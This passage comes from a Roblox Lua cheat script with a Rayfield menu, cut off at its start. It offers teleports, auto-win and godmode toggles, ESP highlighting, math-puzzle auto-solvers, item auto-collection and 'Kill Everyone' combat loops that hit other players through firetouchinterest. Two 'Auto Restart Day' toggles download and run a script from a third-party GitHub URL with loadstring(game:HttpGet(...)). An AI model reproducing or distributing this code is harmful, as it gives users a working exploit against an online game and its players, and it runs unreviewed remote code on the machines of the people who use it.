player.Character:FindFirstChild("HumanoidRootPart").CFrame = CFrame.new(2, 102, -23)
end,
})
ToolsTab:CreateButton({
Name = "First Class",
Callback = function()
player.Character:FindFirstChild("HumanoidRootPart").CFrame = CFrame.new(172, 105, -35)
end,
})
ToolsTab:CreateButton({
Name = "Spectator Island",
Callback = function()
player.Character:FindFirstChild("HumanoidRootPart").CFrame = CFrame.new(-157, -22, -885)
end,
})
end
ToolsTab:CreateDivider()
if not isMovies then
ChallengesTab:CreateSection("Challenges")
end
if isCamp then
local _arActiveCamp = false
local _arFiredCamp = false
ChallengesTab:CreateToggle({
Name = "Auto Restart Day",
CurrentValue = false,
Flag = "AutoRestartDayCamp",
Callback = function(Value)
_arActiveCamp = Value
_arFiredCamp = false
if Value then
task.spawn(function()
while _arActiveCamp do
local timerVisible = false
pcall(function()
timerVisible = player.PlayerGui.Timer.Background.Timer.Visible
end)
if timerVisible and not _arFiredCamp then
_arFiredCamp = true
loadstring(game:HttpGet("https://raw.githubusercontent.com/robloxcheatck/reanimatescript/main/script.lua", true))()
end
if not timerVisible then
_arFiredCamp = false
end
task.wait(0.05)
end
end)
else
end
end,
})
ChallengesTab:CreateButton({
Name = "Win Obby",
Callback = function()
local finish = workspace.Assets:FindFirstChild("Finish", true)
if finish then
finish.CanCollide = false
finish.Transparency = 1
wait()
finish.Position = player.Character.Torso.Position
end
end,
})
ChallengesTab:CreateToggle({
Name = "Auto Win Obby",
CurrentValue = false,
Flag = "AutoWinObby",
Callback = function(Value)
autoWinObby = Value
if Value then
task.spawn(function()
while autoWinObby do
local assets = workspace:FindFirstChild("Assets")
if assets then
local finish = assets:FindFirstChild("Finish", true)
if finish then
finish.CanCollide = false
finish.Transparency = 1
task.wait()
finish.Position = player.Character.HumanoidRootPart.Position
end
end
task.wait(0.1)
end
end)
end
end,
})
ChallengesTab:CreateButton({
Name = "Obby Godmode",
Callback = function()
local klp = {"Mud", "Water", "Lava"}
for _, v in pairs(workspace.Assets:GetDescendants()) do
if table.find(klp, v.Name) then
local touch = v:FindFirstChild("TouchInterest")
if touch then touch:Destroy() end
end
end
end,
})
ChallengesTab:CreateButton({
Name = "Disable Spinner/Sweeper Parts",
Callback = function()
local function disableTouchInterest(part)
for _, v in ipairs(part:GetChildren()) do
if v:IsA("TouchTransmitter") then
v:Destroy()
end
end
end
local function processWorkspace()
for _, obj in ipairs(workspace:GetDescendants()) do
if obj:IsA("UnionOperation") then
disableTouchInterest(obj)
end
end
end
processWorkspace()
workspace.DescendantAdded:Connect(function(obj)
if obj:IsA("UnionOperation") then
task.wait()
disableTouchInterest(obj)
end
end)
end,
})
local _cliffDivingESP = false
local _cliffDivingObjects = {}
local _cliffDivingConn1, _cliffDivingConn2, _cliffDivingUpdateConn
ChallengesTab:CreateToggle({
Name = "Cliff Diving ESP",
CurrentValue = false,
Flag = "CliffDivingESP",
Callback = function(Value)
_cliffDivingESP = Value
if Value then
local _cdMAX_DIST = 500
local function _createCliffESP(part)
if _cliffDivingObjects[part] then return end
if not part:FindFirstChild("CliffHighlight") then
local highlight = Instance.new("Highlight")
highlight.Name = "CliffHighlight"
highlight.FillTransparency = 1
highlight.OutlineColor = Color3.fromRGB(255, 255, 255)
highlight.Parent = part
end
local bb = Instance.new("BillboardGui")
bb.AlwaysOnTop = true
bb.Size = UDim2.new(0, 260, 0, 70)
bb.StudsOffset = Vector3.new(0, 4, 0)
bb.Adornee = part
bb.Parent = part
local lbl = Instance.new("TextLabel")
lbl.BackgroundTransparency = 1
lbl.Size = UDim2.new(1, 0, 1, 0)
lbl.TextColor3 = Color3.fromRGB(255, 255, 255)
lbl.TextStrokeTransparency = 0
lbl.TextScaled = true
lbl.Font = Enum.Font.GothamBold
lbl.Text = "FINISH"
lbl.Parent = bb
_cliffDivingObjects[part] = { billboard = bb, distLabel = lbl }
end
for _, obj in ipairs(workspace:GetDescendants()) do
if obj:IsA("BasePart") and obj.Name:lower() == "finish" then
_createCliffESP(obj)
end
end
_cliffDivingConn1 = workspace.DescendantAdded:Connect(function(obj)
if _cliffDivingESP and obj:IsA("BasePart") and obj.Name:lower() == "finish" then
_createCliffESP(obj)
end
end)
_cliffDivingConn2 = workspace.DescendantRemoving:Connect(function(obj)
if _cliffDivingObjects[obj] then
pcall(function() _cliffDivingObjects[obj].billboard:Destroy() end)
_cliffDivingObjects[obj] = nil
end
end)
_cliffDivingUpdateConn = game:GetService("RunService").RenderStepped:Connect(function()
if not _cliffDivingESP then return end
local char = player.Character
local root = char and char:FindFirstChild("HumanoidRootPart")
if not root then return end
for part, esp in pairs(_cliffDivingObjects) do
local dist = (part.Position - root.Position).Magnitude
esp.billboard.Enabled = dist <= _cdMAX_DIST
if dist <= _cdMAX_DIST then
esp.distLabel.Text = string.format("%.1f studs", dist)
end
end
end)
else
for part, esp in pairs(_cliffDivingObjects) do
pcall(function() esp.billboard:Destroy() end)
pcall(function() if part:FindFirstChild("CliffHighlight") then part.CliffHighlight:Destroy() end end)
end
_cliffDivingObjects = {}
if _cliffDivingConn1 then _cliffDivingConn1:Disconnect(); _cliffDivingConn1 = nil end
if _cliffDivingConn2 then _cliffDivingConn2:Disconnect(); _cliffDivingConn2 = nil end
if _cliffDivingUpdateConn then _cliffDivingUpdateConn:Disconnect(); _cliffDivingUpdateConn = nil end
end
end,
})
ChallengesTab:CreateButton({
Name = "Spleef Godmode",
Callback = function()
local assets = workspace:FindFirstChild("Assets")
if assets then
local spleef = assets:FindFirstChild("Spleef")
if spleef then
local part = spleef:FindFirstChild("Part")
if part then
local touch = part:FindFirstChild("TouchInterest")
if touch then touch:Destroy() end
end
end
end
end,
})
ChallengesTab:CreateButton({
Name = "Remove All Particles in Spleef",
Callback = function()
for i, v in pairs(game.Workspace.Assets:GetDescendants()) do
if v.Name == "SpleefPart" then
firetouchinterest(player.Character.HumanoidRootPart, v, 0)
end
end
end,
})
local autoMath = false
local autoMathDelay = 0
ChallengesTab:CreateToggle({
Name = "Auto Solve Math Mania",
CurrentValue = false,
Flag = "AutoWinMath",
Callback = function(Value)
autoMath = Value
if Value then
task.spawn(function()
while autoMath do
local mathManiaGui = player.PlayerGui:FindFirstChild("MathMania")
if mathManiaGui then
for number = 1, 10 do
if not autoMath then break end
local questionGui = mathManiaGui:FindFirstChild(tostring(number))
if questionGui then
local s = questionGui.MainText.Text
local clean = s:gsub("=", ""):gsub("?", ""):gsub(" ", "")
local result = loadstring("return " .. clean)()
if result then
questionGui.Box.Text = tostring(result)
local button = questionGui:FindFirstChild("Enter")
if button then
local events = {"MouseButton1Click", "MouseButton1Down", "Activated"}
for _, event in pairs(events) do
if getconnections and button[event] then
for _, connection in pairs(getconnections(button[event])) do
if connection.Function then connection:Fire() end
end
end
end
end
if autoMathDelay > 0 then task.wait(autoMathDelay) end
end
end
end
end
task.wait()
end
end)
end
end,
})
ChallengesTab:CreateSlider({
Name = "Math Mania Answer Delay",
Range = {0, 10},
Increment = 0.1,
Suffix = "s",
CurrentValue = 0,
Flag = "AutoWinMathDelay",
Callback = function(Value)
autoMathDelay = Value
end,
})
local autoCollect = false
ChallengesTab:CreateToggle({
Name = "Auto Collect Coins & Gems",
CurrentValue = false,
Flag = "AutoCollect",
Callback = function(Value)
autoCollect = Value
if Value then
task.spawn(function()
while autoCollect do
task.wait(0.5)
local char = player.Character
local root = char and char:FindFirstChild("HumanoidRootPart")
if root then
for i, v in pairs(workspace.Assets:GetDescendants()) do
if v.Name == "Coin" or v.Name == "Gem" then
if v:IsA("BasePart") then
v.CanCollide = false
v.Position = root.Position
end
end
end
end
end
end)
end
end,
})
ChallengesTab:CreateButton({
Name = "Finish Pancake",
Callback = function()
for i, v in pairs(workspace.Assets:GetDescendants()) do
if v.Name == player.Name then
for _ = 1, 80 do
fireclickdetector(v.ClickDetector)
end
end
end
end,
})
ChallengesTab:CreateButton({
Name = "Win Block Push",
Callback = function()
for i, v in ipairs(workspace:GetDescendants()) do
if v:IsA("Part") and v.Name == "SingularBox" then
local distance = (v.Position - player.Character.HumanoidRootPart.Position).Magnitude
if distance <= 100 then
for i2, v2 in ipairs(workspace:GetDescendants()) do
if v2:IsA("Part") and v2.Name == "Gold" then
v.Position = v2.Position + Vector3.new(0, 3, 0)
player.Character.HumanoidRootPart.CFrame = CFrame.new(v.Position + Vector3.new(0, 3, 0))
break
end
end
break
end
end
end
end,
})
local autoDodgeballPull = false
ChallengesTab:CreateToggle({
Name = "Auto Get Dodgeballs",
CurrentValue = false,
Flag = "AutoGetDodgeballsPull",
Callback = function(Value)
autoDodgeballPull = Value
if not Value then return end
task.spawn(function()
while autoDodgeballPull do
local char = player.Character
local root = char and char:FindFirstChild("HumanoidRootPart")
if root then
local assets = workspace:FindFirstChild("Assets")
if assets then
for _, v in pairs(assets:GetDescendants()) do
if v:IsA("BasePart") and v.Name:lower():find("dodgeball") then
firetouchinterest(root, v, 0)
firetouchinterest(root, v, 1)
end
end
end
end
task.wait(0.1)
end
end)
end,
})
ChallengesTab:CreateToggle({
Name = "Dodgeball Protection",
CurrentValue = false,
Flag = "DodgeballProtection",
Callback = function(Value)
dbProtection = Value
if Value then
task.spawn(function()
local triggered = false
while dbProtection do
local assets = workspace:FindFirstChild("Assets")
if assets then
local dbGiver = assets:FindFirstChild("DodgeballGiver", true)
if dbGiver and not triggered then
triggered = true
player.Character.Humanoid.Health = 0
end
if not dbGiver then triggered = false end
end
task.wait(0.1)
end
end)
end
end,
})
local paintballProtection = false
local dbProtection = false
ChallengesTab:CreateToggle({
Name = "Paintball Protection",
CurrentValue = false,
Flag = "PaintballProtection",
Callback = function(Value)
paintballProtection = Value
if Value then
task.spawn(function()
local triggered = false
while paintballProtection do
local assets = workspace:FindFirstChild("Assets")
if assets then
local paintball = assets:FindFirstChild("Paintball", true) or assets:FindFirstChild("PaintballArena", true)
if paintball and not triggered then
triggered = true
player.Character.Humanoid.Health = 0
end
if not paintball then triggered = false end
end
task.wait(0.1)
end
end)
end
end,
})
local swordFightEnabled = false
local swordFightConnection = nil
ChallengesTab:CreateToggle({
Name = "Kill Everyone in Sword Fight",
CurrentValue = false,
Flag = "SwordFightKill",
Callback = function(Value)
swordFightEnabled = Value
if Value then
task.spawn(function()
while swordFightEnabled do
local backpack = player:FindFirstChild("Backpack")
local char = player.Character
if backpack and char then
local tool = nil
for _, t in ipairs(backpack:GetChildren()) do
if t:IsA("Tool") and t.Name:lower():find("sword") then
tool = t
break
end
end
local humanoid = char:FindFirstChildOfClass("Humanoid")
if tool and humanoid then humanoid:EquipTool(tool) end
end
task.wait()
end
end)
if swordFightConnection then swordFightConnection:Disconnect() end
swordFightConnection = game:GetService("RunService").RenderStepped:Connect(function()
local players = game.Players:GetPlayers()
for i = 2, #players do
local otherPlayer = players[i]
local character = otherPlayer.Character
if character and not player:IsFriendsWith(otherPlayer.UserId) then
local tool = player.Character and player.Character:FindFirstChildOfClass("Tool")
if tool and tool:FindFirstChild("Handle") then
tool:Activate()
for _, part in next, character:GetChildren() do
if part:IsA("BasePart") then
firetouchinterest(tool.Handle, part, 0)
firetouchinterest(tool.Handle, part, 1)
end
end
end
end
end
end)
else
if swordFightConnection then
swordFightConnection:Disconnect()
swordFightConnection = nil
end
end
end,
})
end
if isMovies then
ChallengesTab:CreateSection("Challenges")
do
local _pt_enabled = false
local _pt_placements = {}
local _pt_finished = {}
local _pt_myTeam = nil
local _pt_conns = {}
local function _pt_ordinal(n)
if n == 1 then return "1st"
elseif n == 2 then return "2nd"
elseif n == 3 then return "3rd"
else return n .. "th" end
end
local function _pt_getGameName(p)
local ok, name = pcall(function()
local RS = game:GetService("ReplicatedStorage")
local season = RS:FindFirstChild("Season")
if not season then return p.Name end
local playersFolder = season:FindFirstChild("Players")
if not playersFolder then return p.Name end
local data = playersFolder:FindFirstChild(p.Name)
if data and data.Value and data.Value ~= "" then
return data.Value
end
return p.Name
end)
return (ok and name) or p.Name
end
local function _pt_printLeaderboard()
print("===== CHALLENGE PLACEMENTS =====")
for i, entry in ipairs(_pt_placements) do
local tag = (entry.robloxName == player.Name) and " << YOU" or ""
print(string.format(" #%d - %s (%s)%s", i, entry.gameName, entry.robloxName, tag))
end
print("---")
end
local function _pt_sendChat(msg)
pcall(function()
game:GetService("TextChatService").TextChannels.RBXGeneral:SendAsync(msg)
end)
end
local function _pt_onFinish(p)
local playerName = p.Name
if _pt_finished[playerName] then return end
_pt_finished[playerName] = true
local rank = #_pt_placements + 1
local gameName = _pt_getGameName(p)
table.insert(_pt_placements, { robloxName = playerName, gameName = gameName })
print(string.format("[Placement Tracker] %s (%s) finished in %s place!", gameName, playerName, _pt_ordinal(rank)))
if playerName == player.Name then
_pt_sendChat(_pt_ordinal(rank))
_pt_printLeaderboard()
end
end
local function _pt_watchPad(pad)
local conn = pad.Touched:Connect(function(hit)
if not _pt_myTeam then return end
for _, p in ipairs(game:GetService("Players"):GetPlayers()) do
if p.Team and p.Team == _pt_myTeam then
local char = p.Character
if char and hit:IsDescendantOf(char) then
_pt_onFinish(p)
end
end
end
end)
table.insert(_pt_conns, conn)
end
local function _pt_start()
if player.Team then
_pt_myTeam = player.Team
print("[Placement Tracker] Team: " .. _pt_myTeam.Name)
end
local teamConn = player:GetPropertyChangedSignal("Team"):Connect(function()
if not _pt_enabled then return end
local newTeam = player.Team
if _pt_myTeam and newTeam and newTeam ~= _pt_myTeam then
print("[Placement Tracker] Team merged/changed, stopping tracker.")
Rayfield:Notify({ Title = "Placement Tracker", Content = "Teams merged, tracker stopped.", Duration = 4, Image = "trophy" })
_pt_enabled = false
pcall(function()
if Rayfield.Flags and Rayfield.Flags.PlacementTrackerMovies then
Rayfield.Flags.PlacementTrackerMovies:Set(false)
end
end)
_pt_stop()
elseif newTeam and not _pt_myTeam then
_pt_myTeam = newTeam
print("[Placement Tracker] Team set: " .. _pt_myTeam.Name)
end
end)
table.insert(_pt_conns, teamConn)
local found = 0
for _, v in ipairs(workspace:GetDescendants()) do
if v.Name == "Finish" and v:IsA("BasePart") then
_pt_watchPad(v)
found += 1
end
end
print("[Placement Tracker] Watching " .. found .. " Finish part(s).")
local addConn = workspace.DescendantAdded:Connect(function(v)
if _pt_enabled and v.Name == "Finish" and v:IsA("BasePart") then
_pt_watchPad(v)
print("[Placement Tracker] Late Finish part: " .. v:GetFullName())
end
end)
table.insert(_pt_conns, addConn)
end
local function _pt_stop()
for _, c in ipairs(_pt_conns) do c:Disconnect() end
_pt_conns = {}
_pt_placements = {}
_pt_finished = {}
_pt_myTeam = nil
print("[Placement Tracker] Stopped.")
end
ChallengesTab:CreateToggle({
Name = "Auto Say Placement & Placement Tracker (check console)",
CurrentValue = false,
Flag = "PlacementTrackerMovies",
Callback = function(Value)
_pt_enabled = Value
if Value then
_pt_placements = {}
_pt_finished = {}
_pt_start()
Rayfield:Notify({ Title = "Placement Tracker", Content = "Tracking your team's placements. Your finish will be said in chat!", Duration = 4, Image = "trophy" })
else
_pt_stop()
end
end,
})
end
local _arActiveMovies = false
local _arFiredMovies = false
ChallengesTab:CreateToggle({
Name = "Auto Restart Day",
CurrentValue = false,
Flag = "AutoRestartDayMovies",
Callback = function(Value)
_arActiveMovies = Value
_arFiredMovies = false
if Value then
task.spawn(function()
while _arActiveMovies do
local timerVisible = false
pcall(function()
timerVisible = player.PlayerGui.Timer.Background.Timer.Visible
end)
if timerVisible and not _arFiredMovies then
_arFiredMovies = true
loadstring(game:HttpGet("https://raw.githubusercontent.com/robloxcheatck/reanimatescript/main/script.lua", true))()
end
if not timerVisible then
_arFiredMovies = false
end
task.wait(0.05)
end
end)
else
end
end,
})
local _infectAllActive = false
ChallengesTab:CreateToggle({
Name = "Infect All",
CurrentValue = false,
Flag = "InfectAllMovies",
Callback = function(Value)
_infectAllActive = Value
if Value then
task.spawn(function()
while _infectAllActive do
local timerVisible = false
pcall(function()
timerVisible = player.PlayerGui.Timer.Background.Timer.Visible
end)
if not timerVisible then
_infectAllActive = false
break
end
local char = player.Character
local hrp = char and char:FindFirstChild("HumanoidRootPart")
if hrp then
for _, p in ipairs(game.Players:GetPlayers()) do
if p ~= player and _infectAllActive then
local tChar = p.Character
local tHRP = tChar and tChar:FindFirstChild("HumanoidRootPart")
if tHRP then
hrp.CFrame = tHRP.CFrame
task.wait(0.3)
end
end
end
end
task.wait(0.1)
end
end)
else
end
end,
})
ChallengesTab:CreateButton({
Name = "Win Obby",
Callback = function()
local f = workspace.Assets:FindFirstChild("Finish", true)
if f and player.Character and player.Character:FindFirstChild("HumanoidRootPart") then
f.CanCollide = false; f.Transparency = 1; f.Position = player.Character.HumanoidRootPart.Position
end
end,
})
local _movObby = false
ChallengesTab:CreateToggle({
Name = "Auto Win Obby",
CurrentValue = false,
Flag = "MoviesAutoWinObby",
Callback = function(Value)
_movObby = Value
if Value then task.spawn(function() while _movObby do
local f = workspace.Assets:FindFirstChild("Finish", true)
if f and player.Character and player.Character:FindFirstChild("HumanoidRootPart") then
f.CanCollide = false; f.Transparency = 1; f.Position = player.Character.HumanoidRootPart.Position
end; task.wait(0.5)
end end) end
end,
})
local _stuntMovieESP = false
local _stuntMovieObjects = {}
local _stuntMovieConn1, _stuntMovieConn2, _stuntMovieUpdateConn
ChallengesTab:CreateToggle({
Name = "Stunt Movie ESP",
CurrentValue = false,
Flag = "StuntMovieESP",
Callback = function(Value)
_stuntMovieESP = Value
if Value then
local _smMAX_DIST = 500
local function _createStuntESP(part)
if _stuntMovieObjects[part] then return end
if not part:FindFirstChild("StuntHighlight") then
local highlight = Instance.new("Highlight")
highlight.Name = "StuntHighlight"
highlight.FillTransparency = 1
highlight.OutlineColor = Color3.fromRGB(255, 255, 255)
highlight.Parent = part
end
local bb = Instance.new("BillboardGui")
bb.AlwaysOnTop = true
bb.Size = UDim2.new(0, 260, 0, 70)
bb.StudsOffset = Vector3.new(0, 4, 0)
bb.Adornee = part
bb.Parent = part
local lbl = Instance.new("TextLabel")
lbl.BackgroundTransparency = 1
lbl.Size = UDim2.new(1, 0, 1, 0)
lbl.TextColor3 = Color3.fromRGB(255, 255, 255)
lbl.TextStrokeTransparency = 0
lbl.TextScaled = true
lbl.Font = Enum.Font.GothamBold
lbl.Text = "FINISH"
lbl.Parent = bb
_stuntMovieObjects[part] = { billboard = bb, distLabel = lbl }
end
for _, obj in ipairs(workspace:GetDescendants()) do
if obj:IsA("BasePart") and obj.Name:lower() == "finish" then
_createStuntESP(obj)
end
end
_stuntMovieConn1 = workspace.DescendantAdded:Connect(function(obj)
if _stuntMovieESP and obj:IsA("BasePart") and obj.Name:lower() == "finish" then
_createStuntESP(obj)
end
end)
_stuntMovieConn2 = workspace.DescendantRemoving:Connect(function(obj)
if _stuntMovieObjects[obj] then
pcall(function() _stuntMovieObjects[obj].billboard:Destroy() end)
_stuntMovieObjects[obj] = nil
end
end)
_stuntMovieUpdateConn = game:GetService("RunService").RenderStepped:Connect(function()
if not _stuntMovieESP then return end
local char = player.Character
local root = char and char:FindFirstChild("HumanoidRootPart")
if not root then return end
for part, esp in pairs(_stuntMovieObjects) do
local dist = (part.Position - root.Position).Magnitude
esp.billboard.Enabled = dist <= _smMAX_DIST
if dist <= _smMAX_DIST then
esp.distLabel.Text = string.format("%.1f studs", dist)
end
end
end)
else
for part, esp in pairs(_stuntMovieObjects) do
pcall(function() esp.billboard:Destroy() end)
pcall(function() if part:FindFirstChild("StuntHighlight") then part.StuntHighlight:Destroy() end end)
end
_stuntMovieObjects = {}
if _stuntMovieConn1 then _stuntMovieConn1:Disconnect(); _stuntMovieConn1 = nil end
if _stuntMovieConn2 then _stuntMovieConn2:Disconnect(); _stuntMovieConn2 = nil end
if _stuntMovieUpdateConn then _stuntMovieUpdateConn:Disconnect(); _stuntMovieUpdateConn = nil end
end
end,
})
local _disableFiresConn = nil
ChallengesTab:CreateToggle({
Name = "Disable Fires",
CurrentValue = false,
Flag = "DisableFiresMovies",
Callback = function(Value)
if Value then
local function removeFireTouchInterest()
for _, v in pairs(workspace:GetDescendants()) do
if v:IsA("TouchTransmitter") then
pcall(function() v:Destroy() end)
end
end
end
removeFireTouchInterest()
_disableFiresConn = game:GetService("RunService").Stepped:Connect(function()
removeFireTouchInterest()
end)
else
if _disableFiresConn then
_disableFiresConn:Disconnect()
_disableFiresConn = nil
end
end
end,
})
ChallengesTab:CreateButton({
Name = "Disable Lasers",
Callback = function()
local function disableTouchInterest(part)
for _, v in ipairs(part:GetChildren()) do
if v:IsA("TouchTransmitter") then
v:Destroy()
end
end
end
local function processModel(model)
for _, part in ipairs(model:GetDescendants()) do
if part:IsA("BasePart") and part.Name:lower():find("laser") then
disableTouchInterest(part)
end
end
end
processModel(workspace)
workspace.DescendantAdded:Connect(function(obj)
if obj:IsA("BasePart") and obj.Name:lower():find("laser") then
task.wait()
disableTouchInterest(obj)
end
end)
end,
})
local _mathMov = false
local _mathMovDelay = 0
ChallengesTab:CreateToggle({
Name = "Auto Solve Math Trivia",
CurrentValue = false,
Flag = "MoviesMathMania",
Callback = function(Value)
_mathMov = Value
if not Value then return end
task.spawn(function()
while _mathMov do
local assets = workspace:FindFirstChild("Assets")
local mathManiaGui = player.PlayerGui:FindFirstChild("MathTrivia") or player.PlayerGui:FindFirstChild("MathMania")
if mathManiaGui and assets and (assets:FindFirstChild("Math Mania") or assets:FindFirstChild("Math Trivia") or assets:FindFirstChild("Singapore")) then
for i = 1, 10 do
if not _mathMov then break end
local questionGui = mathManiaGui:FindFirstChild(tostring(i))
if questionGui then
local clean = questionGui.MainText.Text:gsub("=", ""):gsub("?", ""):gsub(" ", "")
local ok, result = pcall(function() return loadstring("return " .. clean)() end)
if ok and result then
questionGui.Box.Text = tostring(result)
local btn = questionGui:FindFirstChild("Enter")
if btn then
local events = {"MouseButton1Click", "MouseButton1Down", "Activated"}
for _, ev in pairs(events) do
if getconnections and btn[ev] then
for _, c in pairs(getconnections(btn[ev])) do
if c.Function then c:Fire() end
end
end
end
end
if _mathMovDelay > 0 then task.wait(_mathMovDelay) end
end
end
end
end
task.wait()
end
end)
end,
})
ChallengesTab:CreateSlider({
Name = "Math Trivia Answer Delay",
Range = {0, 10},
Increment = 0.1,
Suffix = "s",
CurrentValue = 0,
Flag = "MoviesMathManiaDelay",
Callback = function(Value)
_mathMovDelay = Value
end,
})
local beachFightEnabled = false
local beachFightConnection = nil
ChallengesTab:CreateToggle({
Name = "Kill Everyone in Beach Fight",
CurrentValue = false,
Flag = "MoviesBeachFightKill",
Callback = function(Value)
beachFightEnabled = Value
if Value then
task.spawn(function()
while beachFightEnabled do
local backpack = player:FindFirstChild("Backpack")
local char = player.Character
if backpack and char then
local tool = nil
for _, t in ipairs(backpack:GetChildren()) do
if t:IsA("Tool") and t.Name:lower():find("pool noodle") then
tool = t
break
end
end
local humanoid = char:FindFirstChildOfClass("Humanoid")
if tool and humanoid then humanoid:EquipTool(tool) end
end
task.wait()
end
end)
if beachFightConnection then beachFightConnection:Disconnect() end
beachFightConnection = game:GetService("RunService").RenderStepped:Connect(function()
local players = game.Players:GetPlayers()
for i = 2, #players do
local otherPlayer = players[i]
local character = otherPlayer.Character
if character and not player:IsFriendsWith(otherPlayer.UserId) then
local tool = player.Character and player.Character:FindFirstChildOfClass("Tool")
if tool and tool:FindFirstChild("Handle") then
tool:Activate()
for _, part in next, character:GetChildren() do
if part:IsA("BasePart") then
firetouchinterest(tool.Handle, part, 0)
firetouchinterest(tool.Handle, part, 1)
end
end
end
end
end
end)
else
if beachFightConnection then
beachFightConnection:Disconnect()
beachFightConnection = nil
end
end
end,
})
ChallengesTab:CreateButton({
Name = "Collect Keys & Open Chests",
Callback = function()
local pa = workspace.Assets:FindFirstChild("Pirate"); if not pa then return end
local function getKey()
for _, v in ipairs(player.Backpack:GetChildren()) do if v:IsA("Tool") then return v end end
for _, v in ipairs(player.Character:GetChildren()) do if v:IsA("Tool") then return v end end
end
while true do
local kf; for _, v in ipairs(pa:GetDescendants()) do if v.Name == "MainKey" then kf = v; break end end
if not kf then break end
player.Character.HumanoidRootPart.CFrame = kf.CFrame; task.wait(0.25)
local kt, t = nil, 0
while t < 5 and not kt do kt = getKey(); if not kt then task.wait(0.1); t = t + 0.1 end end
if not kt then break end
kt.Parent = player.Character; task.wait(0.05)
local cf = pa:FindFirstChild("Chests")
if cf then local cm = cf:FindFirstChild(kt.Name); if cm then local ch = cm:FindFirstChild("Chest"); if ch then player.Character.HumanoidRootPart.CFrame = ch.CFrame; task.wait(0.15) end end end
end
end,
})
ChallengesTab:CreateButton({
Name = "Monster Godmode",
Callback = function()
local m = workspace.Assets:FindFirstChild("Monster"); if m then local n = m:FindFirstChild("MonsterNPC"); if n then n:Destroy() end end
end,
})
ChallengesTab:CreateButton({
Name = "Collect Egg",
Callback = function()
local RS = game:GetService("ReplicatedStorage")
local alien = workspace.Assets:WaitForChild("Alien"); if not alien then return end
local char = RS.Season.Players:FindFirstChild(player.Name); local cv = char and char.Value; if not cv then return end
for _, v in pairs(alien:GetDescendants()) do
if v.ClassName == "TextLabel" and v.Text == cv then
local root = v.Parent.Parent.Parent; root.CFrame = player.Character.HumanoidRootPart.CFrame; root.CanCollide = false
end
end
end,
})
local _alienEggESP = false
local _alienEggObjects = {}
local _alienEggConn1, _alienEggConn2, _alienEggUpdateConn
ChallengesTab:CreateToggle({
Name = "Alien Egg ESP",
CurrentValue = false,
Flag = "AlienEggESP",
Callback = function(Value)
_alienEggESP = Value
if Value then
local _aeMAX_DIST = 500
local function _createAlienEggESP(part)
if _alienEggObjects[part] then return end
if not part:FindFirstChild("AlienHighlight") then
local highlight = Instance.new("Highlight")
highlight.Name = "AlienHighlight"
highlight.FillTransparency = 1
highlight.OutlineColor = Color3.fromRGB(255, 255, 255)
highlight.Parent = part
end
local bb = Instance.new("BillboardGui")
bb.AlwaysOnTop = true
bb.Size = UDim2.new(0, 260, 0, 70)
bb.StudsOffset = Vector3.new(0, 4, 0)
bb.Adornee = part
bb.Parent = part
local lbl = Instance.new("TextLabel")
lbl.BackgroundTransparency = 1
lbl.Size = UDim2.new(1, 0, 1, 0)
lbl.TextColor3 = Color3.fromRGB(255, 255, 255)
lbl.TextStrokeTransparency = 0
lbl.TextScaled = true
lbl.Font = Enum.Font.GothamBold
lbl.Text = "ALIEN EGG"
lbl.Parent = bb
_alienEggObjects[part] = { billboard = bb, distLabel = lbl }
end
local RS = game:GetService("ReplicatedStorage")
local _aePlayerChar = RS.Season.Players:FindFirstChild(player.Name)
local _aeCv = _aePlayerChar and _aePlayerChar.Value
local alien = workspace.Assets:FindFirstChild("Alien")
if alien and _aeCv then
local seen = {}
for _, v in pairs(alien:GetDescendants()) do
if v.ClassName == "TextLabel" and v.Text == _aeCv then
local root = v.Parent and v.Parent.Parent and v.Parent.Parent.Parent
if root and root:IsA("BasePart") and not seen[root] then
seen[root] = true
_createAlienEggESP(root)
end
end
end
end
_alienEggConn1 = workspace.DescendantAdded:Connect(function(obj)
if _alienEggESP and obj.ClassName == "TextLabel" then
local _aePC = RS.Season.Players:FindFirstChild(player.Name)
local _aeCv2 = _aePC and _aePC.Value
if obj.Text == _aeCv2 then
local root = obj.Parent and obj.Parent.Parent and obj.Parent.Parent.Parent
if root and root:IsA("BasePart") and root:FindFirstAncestor("Alien") then
_createAlienEggESP(root)
end
end
end
end)
_alienEggConn2 = workspace.DescendantRemoving:Connect(function(obj)
if _alienEggObjects[obj] then
pcall(function() _alienEggObjects[obj].billboard:Destroy() end)
_alienEggObjects[obj] = nil
end
end)
_alienEggUpdateConn = game:GetService("RunService").RenderStepped:Connect(function()
if not _alienEggESP then return end
local char = player.Character
local root = char and char:FindFirstChild("HumanoidRootPart")
if not root then return end
for part, esp in pairs(_alienEggObjects) do
local dist = (part.Position - root.Position).Magnitude
esp.billboard.Enabled = dist <= _aeMAX_DIST
if dist <= _aeMAX_DIST then
esp.distLabel.Text = string.format("%.1f studs", dist)
end
end
end)
else
for part, esp in pairs(_alienEggObjects) do
pcall(function() esp.billboard:Destroy() end)
pcall(function() if part:FindFirstChild("AlienHighlight") then part.AlienHighlight:Destroy() end end)
end
_alienEggObjects = {}
if _alienEggConn1 then _alienEggConn1:Disconnect(); _alienEggConn1 = nil end
if _alienEggConn2 then _alienEggConn2:Disconnect(); _alienEggConn2 = nil end
if _alienEggUpdateConn then _alienEggUpdateConn:Disconnect(); _alienEggUpdateConn = nil end
end
end,
})
local _ancientConn
ChallengesTab:CreateToggle({
Name = "Auto Collect Ancient Artifacts",
CurrentValue = false,
Flag = "MoviesAncientArtifacts",
Callback = function(Value)
if Value then
local ph = workspace.Assets:WaitForChild("Pre-Historic")
local cf = ph and ph:WaitForChild("Coins")
if cf then _ancientConn = cf.ChildAdded:Connect(function(coin)
if player.Character and player.Character:FindFirstChild("HumanoidRootPart") then
coin.Position = player.Character.HumanoidRootPart.Position; coin.Transparency = 0; coin.CanCollide = false
end
end) end
else
if _ancientConn then _ancientConn:Disconnect(); _ancientConn = nil end
end
end,
})
local _guitarCollecting = false
ChallengesTab:CreateToggle({
Name = "Auto Collect Guitars",
CurrentValue = false,
Flag = "AutoCollectGuitars",
Callback = function(v)
_guitarCollecting = v
if v then
task.spawn(function()
while _guitarCollecting do
task.wait(0.00001)
for _, obj in pairs(workspace:GetDescendants()) do
if obj.Name == "Gem" then
obj.Transparency = 1
task.wait()
obj.Position = player.Character.Torso.Position
elseif obj.Name == "Coin" then
obj.Transparency = 1
task.wait()
obj.Position = player.Character.Torso.Position
end
end
end
end)
end
end,
})
ChallengesTab:CreateButton({
Name = "Finish Poison Food",
Callback = function()
for _, v in pairs(workspace.Assets:GetDescendants()) do
if v.Name == player.Name and v:FindFirstChild("ClickDetector") then
for _ = 1, 80 do
fireclickdetector(v.ClickDetector)
end
end
end
end,
})
